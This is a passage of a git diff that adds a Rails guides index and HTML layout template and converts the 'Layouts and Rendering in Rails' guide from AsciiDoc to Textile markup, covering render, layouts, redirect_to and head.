+  </dl>
+</div>
+<% end %>
+
+h3. Start Here
+
+<dl>
+<% guide('Getting Started with Rails', 'getting_started.html') do %>
+  Everything you need to know to install Rails and create your first application.
+<% end %>
+</dl>
+
+h3. Models
+
+<dl>
+<% guide("Rails Database Migrations", 'migrations.html') do %>
+  This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
+<% end %>
+
+<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html') do %>
+  This guide covers how you can use Active Record validations and callbacks.
+<% end %>
+
+<% guide("Active Record Associations", 'association_basics.html') do %>
+  This guide covers all the associations provided by Active Record.
+<% end %>
+
+<% guide("Active Record Query Interface", 'active_record_querying.html') do %>
+  This guide covers the database query interface provided by Active Record.
+<% end %>
+</dl>
+
+h3. Views
+
+<dl>
+<% guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
+  This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.
+<% end %>
+
+<% guide("Action View Form Helpers", 'form_helpers.html', :ticket => 1) do %>
+  Guide to using built in Form helpers.
+<% end %>
+</dl>
+
+h3. Controllers
+
+<dl>
+<% guide("Action Controller Overview", 'action_controller_overview.html') do %>
+  This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
+<% end %>
+
+<% guide("Rails Routing from the Outside In", 'routing.html') do %>
+  This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+<% end %>
+</dl>
+
+h3. Digging Deeper
+
+<dl>
+
+<% guide("Rails on Rack", 'rails_on_rack.html') do %>
+  This guide covers Rails integration with Rack and interfacing with other Rack components.
+<% end %>
+
+<% guide("Rails Internationalization API", 'i18n.html') do %>
+  This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+<% end %>
+
+<% guide("Action Mailer Basics", 'action_mailer_basics.html', :ticket => 25) do %>
+  This guide describes how to use Action Mailer to send and receive emails.
+<% end %>
+
+<% guide("Testing Rails Applications", 'testing.html', :ticket => 8) do %>
+  This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from “What is a test?” to the testing APIs. Enjoy.
+<% end %>
+
+<% guide("Securing Rails Applications", 'security.html') do %>
+  This guide describes common security problems in web applications and how to avoid them with Rails.
+<% end %>
+
+<% guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
+  This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+<% end %>
+
+<% guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
+  This guide covers the various ways of performance testing a Ruby on Rails application.
+<% end %>
+
+<% guide("The Basics of Creating Rails Plugins", 'plugins.html', :ticket => 32) do %>
+  This guide covers how to build a plugin to extend the functionality of Rails.
+<% end %>
+
+<% guide("Configuring Rails Applications", 'configuring.html') do %>
+  This guide covers the basic configuration settings for a Rails application.
+<% end %>
+
+<% guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :ticket => 29) do %>
+  This guide covers the command line tools and rake tasks provided by Rails.
+<% end %>
+
+<% guide("Caching with Rails", 'caching_with_rails.html', :ticket => 10) do %>
+  Various caching techniques provided by Rails.
+<% end %>
+
+<% guide("Contributing to Rails", 'contributing_to_rails.html') do %>
+  Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+<% end %>
+
+</dl>
diff --git a/vendor/rails/railties/guides/source/layout.html.erb b/vendor/rails/railties/guides/source/layout.html.erb
new file mode 100644
index 00000000..eb66366d
--- /dev/null
+++ b/vendor/rails/railties/guides/source/layout.html.erb
@@ -0,0 +1,103 @@
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="files/stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="files/stylesheets/syntax.css" />
+<link rel="stylesheet" type="text/css" href="files/stylesheets/print.css" media="print" />
+
+<script type="text/javascript" src="files/javascripts/guides.js"></script>
+<script type="text/javascript" src="files/javascripts/code_highlighter.js"></script>
+<script type="text/javascript" src="files/javascripts/highlighters.js"></script>
+
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="activerecord_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <%= yield :header_section %>
+
+      <%= yield :index_section %>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <%= yield %>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</a></p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+</body>
+</html>
diff --git a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt b/vendor/rails/railties/guides/source/layouts_and_rendering.textile
similarity index 59%
rename from vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt
rename to vendor/rails/railties/guides/source/layouts_and_rendering.textile
index 2cba53b9..69faa1b4 100644
--- a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt
+++ b/vendor/rails/railties/guides/source/layouts_and_rendering.textile
@@ -1,19 +1,21 @@
-Layouts and Rendering in Rails
-==============================
+h2. Layouts and Rendering in Rails
 
 This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
 
 * Use the various rendering methods built in to Rails
 * Create layouts with multiple content sections
 * Use partials to DRY up your views
+* Use nested layouts (sub-templates)
 
-== Overview: How the Pieces Fit Together
+endprologue.
+
+h3. Overview: How the Pieces Fit Together
 
 This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
 
 In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
 
-== Creating Responses
+h3. Creating Responses
 
 From the controller's point of view, there are three ways to create an HTTP response:
 
@@ -23,46 +25,73 @@ From the controller's point of view, there are three ways to create an HTTP resp
 
 I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
 
-=== Rendering by Default: Convention Over Configuration in Action
+h4. Rendering by Default: Convention Over Configuration in Action
 
 You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def show
   @book = Book.find(params[:id])
 end
--------------------------------------------------------
+</ruby>
 
 Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
 
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
 
-=== Using +render+
+h4. Using +render+
 
 In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
 
 TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
 
-==== Rendering Nothing
+h5. Rendering Nothing
 
 Perhaps the simplest thing you can do with +render+ is to render nothing at all:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :nothing => true
--------------------------------------------------------
+</ruby>
 
 This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
 
 TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
 
-==== Using +render+ with +:action+
+h5. Rendering an Action's View
 
-If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the +:action+ option:
+If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render "edit"
+    end
+  end
+end
+</ruby>
+
+If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+
+If you prefer, you can use a symbol instead of a string to specify the action to render:
+
+<ruby>
+def update
+  @book = Book.find(params[:id])
+    if @book.update_attributes(params[:book])
+      redirect_to(@book)
+    else
+      render :edit
+    end
+  end
+end
+</ruby>
+
+To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3):
+
+<ruby>
 def update
   @book = Book.find(params[:id])
     if @book.update_attributes(params[:book])
@@ -72,112 +101,118 @@ def update
     end
   end
 end
--------------------------------------------------------
-
-If the call to +update_attributes_ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
+</ruby>
 
 WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
 
-==== Using +render+ with +:template+
+h5. Rendering an Action's Template from Another Controller
 
-What if you want to render a template from an entirely different controller from the one that contains the action code? You can do that with the +:template+ option to +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
+What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
+render 'products/show'
+</ruby>
+
+Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
+
+<ruby>
 render :template => 'products/show'
--------------------------------------------------------
+</ruby>
 
-==== Using +render+ with +:file+
+h5. Rendering an Arbitrary File
 
-If you want to use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications), you can use the +:file+ option to +render+:
+The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
 
-[source, ruby]
--------------------------------------------------------
-render :file => "/u/apps/warehouse_app/current/app/views/products/show"
--------------------------------------------------------
+<ruby>
+render "/u/apps/warehouse_app/current/app/views/products/show"
+</ruby>
+
+Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
+
+<ruby>
+render :file => 
+  "/u/apps/warehouse_app/current/app/views/products/show"
+</ruby>
 
 The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
 
-NOTE: By default, if you use the +:file+ option, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option
+NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option.
 
-==== Using +render+ with +:inline+
+TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
+
+h5. Using +render+ with +:inline+
 
 The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
 
-[source, ruby]
--------------------------------------------------------
-render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
--------------------------------------------------------
+<ruby>
+render :inline => 
+  "<% products.each do |p| %><p><%= p.name %><p><% end %>"
+</ruby>
 
 WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
 
 By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option:
 
-[source, ruby]
--------------------------------------------------------
-render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
--------------------------------------------------------
+<ruby>
+render :inline => 
+  "xml.p {'Horrid coding practice!'}", :type => :builder
+</ruby>
 
-==== Using +render+ with +:update+
+h5. Using +render+ with +:update+
 
 You can also render javascript-based page updates inline using the +:update+ option to +render+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :update do |page|
   page.replace_html 'warning', "Invalid options supplied"
 end
--------------------------------------------------------
+</ruby>
 
-WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update.
 
-==== Rendering Text
+h5. Rendering Text
 
 You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :text => "OK"
--------------------------------------------------------
+</ruby>
 
 TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
 
 NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option
 
-==== Rendering JSON
+h5. Rendering JSON
 
 JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :json => @product
--------------------------------------------------------
+</ruby>
 
 TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
 
-==== Rendering XML
+h5. Rendering XML
 
 Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :xml => @product
--------------------------------------------------------
+</ruby>
 
 TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
 
-==== Rendering Vanilla JavaScript
+h5. Rendering Vanilla JavaScript
 
 Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file):
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :js => "alert('Hello Rails');"
--------------------------------------------------------
+</ruby>
 
 This will send the supplied string to the browser with a MIME type of +text/javascript+.
 
-==== Options for +render+
+h5. Options for +render+
 
 Calls to the +render+ method generally accept four options:
 
@@ -186,93 +221,85 @@ Calls to the +render+ method generally accept four options:
 * +:status+
 * +:location+
 
-===== The +:content_type+ Option
+h6. The +:content_type+ Option
 
 By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :file => filename, :content_type => 'application/rss'
--------------------------------------------------------
+</ruby>
 
-===== The +:layout+ Option
+h6. The +:layout+ Option
 
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. 
+With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
 
 You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :layout => 'special_layout'
--------------------------------------------------------
+</ruby>
 
 You can also tell Rails to render with no layout at all:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :layout => false
--------------------------------------------------------
+</ruby>
 
-===== The +:status+ Option
+h6. The +:status+ Option
 
 Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :status => 500
 render :status => :forbidden
--------------------------------------------------------
+</ruby>
 
-Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how it maps symbols to status codes in that file.
+Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes.
 
-===== The +:location+ Option
+h6. The +:location+ Option
 
 You can use the +:location+ option to set the HTTP +Location+ header:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 render :xml => photo, :location => photo_url(photo)
--------------------------------------------------------
+</ruby>
 
-==== Finding Layouts
+h5. Finding Layouts
 
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+. If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
 
-===== Specifying Layouts on a per-Controller Basis
+h6. Specifying Layouts on a per-Controller Basis
 
 You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ProductsController < ApplicationController
   layout "inventory"
   #...
 end
--------------------------------------------------------
+</ruby>
 
 With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
 
 To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ApplicationController < ActionController::Base
   layout "main"
   #...
 end
--------------------------------------------------------
+</ruby>
 
 With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
 
-===== Choosing Layouts at Runtime
+h6. Choosing Layouts at Runtime
 
 You can use a symbol to defer the choice of layout until a request is processed:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ProductsController < ApplicationController
   layout :products_layout
-  
+
   def show
     @product = Product.find(params[:id])
   end
@@ -283,69 +310,63 @@ class ProductsController < ApplicationController
     end
 
 end
--------------------------------------------------------
+</ruby>
 
 Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ProductsController < ApplicationController
-  layout proc{ |controller| controller.
-  # ...	
+  layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' }
+  # ...
 end
--------------------------------------------------------
+</ruby>
 
-===== Conditional Layouts
+h6. Conditional Layouts
 
 Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names:
 
--------------------------------------------------------
+<ruby>
 class ProductsController < ApplicationController
-  layout "inventory", :only => :index
   layout "product", :except => [:index, :rss]
   #...
 end
--------------------------------------------------------
+</ruby>
 
-With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules.
+With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
 
-===== Layout Inheritance
+h6. Layout Inheritance
 
 Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
 
-+application.rb+:
+* +application_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ApplicationController < ActionController::Base
   layout "main"
   #...
 end
--------------------------------------------------------
+</ruby>
 
-+posts_controller.rb+:
+* +posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class PostsController < ApplicationController
   # ...
 end
--------------------------------------------------------
+</ruby>
 
-+special_posts_controller.rb+:
+* +special_posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class SpecialPostsController < PostsController
   layout "special"
   # ...
 end
--------------------------------------------------------
+</ruby>
 
-+old_posts_controller.rb+:
+* +old_posts_controller.rb+
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class OldPostsController < SpecialPostsController
   layout nil
 
@@ -359,7 +380,7 @@ class OldPostsController < SpecialPostsController
   end
   # ...
 end
--------------------------------------------------------
+</ruby>
 
 In this application:
 
@@ -369,67 +390,78 @@ In this application:
 * +OldPostsController#show+ will use no layout at all
 * +OldPostsController#index+ will use the +old+ layout
 
-==== Avoiding Double Render Errors
+h5. Avoiding Double Render Errors
 
 Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
 
 For example, here's some code that will trigger this error:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def show
   @book = Book.find(params[:id])
   if @book.special?
     render :action => "special_show"
   end
+  render :action => "regular_show"
 end
--------------------------------------------------------
+</ruby>
 
 If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def show
   @book = Book.find(params[:id])
   if @book.special?
     render :action => "special_show" and return
   end
+  render :action => "regular_show"
 end
--------------------------------------------------------
+</ruby>
 
-=== Using +redirect_to+
+Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems:
 
-Another way to handle returning responses to a HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+<ruby>
+  def show
+    @book = Book.find(params[:id])
+    if @book.special?
+      render :action => "special_show"
+    end
+  end
+</ruby>
 
-[source, ruby]
--------------------------------------------------------
+This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
+
+h4. Using +redirect_to+
+
+Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+<ruby>
 redirect_to photos_path
--------------------------------------------------------
+</ruby>
 
 You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
 
--------------------------------------------------------
+<ruby>
 redirect_to :back
--------------------------------------------------------
+</ruby>
 
-==== Getting a Different Redirect Status Code
+h5. Getting a Different Redirect Status Code
 
 Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option:
 
--------------------------------------------------------
+<ruby>
 redirect_to photos_path, :status => 301
--------------------------------------------------------
+</ruby>
 
 Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
 
-==== The Difference Between +render+ and +redirect+
+h5. The Difference Between +render+ and +redirect_to+
 
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.
+Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
 
 Consider these actions to see the difference:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def index
   @books = Book.find(:all)
 end
@@ -437,15 +469,14 @@ end
 def show
   @book = Book.find(params[:id])
   if @book.nil?
-    render :action => "index" and return
+    render :action => "index"
   end
 end
--------------------------------------------------------
+</ruby>
 
 With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def index
   @books = Book.find(:all)
 end
@@ -453,30 +484,28 @@ end
 def show
   @book = Book.find(params[:id])
   if @book.nil?
-    redirect_to :action => "index" and return
+    redirect_to :action => "index"
   end
 end
--------------------------------------------------------
+</ruby>
 
 With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
 
-=== Using +head+ To Build Header-Only Responses
+h4. Using +head+ To Build Header-Only Responses
 
 The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 head :bad_request
--------------------------------------------------------
+</ruby>
 
 Or you can use other HTTP headers to convey additional information:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 head :created, :location => photo_path(@photo)
--------------------------------------------------------
+</ruby>
 
-== Structuring Layouts
+h3. Structuring Layouts
 
 When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
 
@@ -486,7 +515,7 @@ When Rails renders a view as a response, it does so by combining the view with t
 
 I'll discuss each of these in turn.
 
-=== Asset Tags
+h4. Asset Tags
 
 Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
 
@@ -495,18 +524,18 @@ Asset tags provide methods for generating HTML that links views to assets like i
 * stylesheet_link_tag
 * image_tag
 
